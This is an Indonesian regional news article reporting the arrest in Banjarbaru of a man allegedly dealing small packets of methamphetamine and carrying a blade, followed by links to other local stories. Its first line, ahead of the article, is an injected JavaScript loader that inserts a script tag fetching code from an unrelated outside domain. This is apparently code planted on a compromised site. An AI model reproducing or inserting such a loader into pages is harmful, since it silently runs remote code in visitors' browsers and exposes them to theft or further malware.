(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tengah malam seorang lelaki kedapatan bertransaksi narkoba di Jalan Pendidikan Masyarakat, Kelurahan Kemuning, Kota Banjarbaru.
Lelaki berinisial JI (30) asal Mentaos, Kecamatan Banjarbaru Utara, tertangkap tangan Unit Opsnal Reskrim Polsek Banjarbaru Utara yang sedang berpatroli pada Jumat (10/1/2025) lalu, sekitar pukul 23.30 Wita.
JI kedapatan membawa tiga paket narkotika jenis sabu untuk kemudian dijual kembali.
Peristiwa ini diungkap Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda, melalui Kapolsek Banjarbaru Utara Kompol Heru Setiawan, Selasa (14/1/2025) pagi.
Baca juga: Jadi ‘PR’ Baru Pemko Banjarbaru, Aturan Masuk ke Taman Van Der Pijl
“Bermula dari informasi masyarakat, dimana petugas kemudian melakukan penyelidikan hingga mendapati ciri-ciri pelaku,” ujar Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda melalui Kapolsek Banjarbaru Utara Kompol Heru Setiawan.
Saat melakukan pengintaian, polisi mendapati seseorang yang gerak gerik yang mencurigakan menggunakan sepeda motor Yamaha NMAX memasuki sebuah gang.
“Saat didekati, lelaki itu melakukan transaksi narkoba, petugas langsung bergerak menangkap pelaku,” ungkapnya.
Sementara pelaku yang tertangkap tangan sempat terkejut, kemudian mengambil senjata tajam dari pinggang sebelah kanannya. Dengan kesigapan petugas berhasil mengamankan senjata tajam tersebut.
Baca juga: Kecolongan Truk Besar ‘Bebas’ Masuk Dalam Kota, Dishub Banjarmasin Baru Akan Beraksi
Dari hasil penggeledahan yang dilakukan, petugas menemukan tiga paket narkotika jenis sabu dari JI.
“Untuk barang bukti yang disita diantaranya tiga paket sabu isi 0,08 gram, 0,02 gram, dan 0,38 gram, serta barang bukti lainnya,” sebut dia.
Adapun pelaku dan barang bukti saat ini telah diamankan di Mapolsek Banjarbaru Utara untuk melakukan pengembangan.
Pelaku dijerat dengan pasal 114 ayat (1) Sub Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika dengan ancaman hukuman paling lama 12 Tahun kurungan penjara. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
This website uses cookies.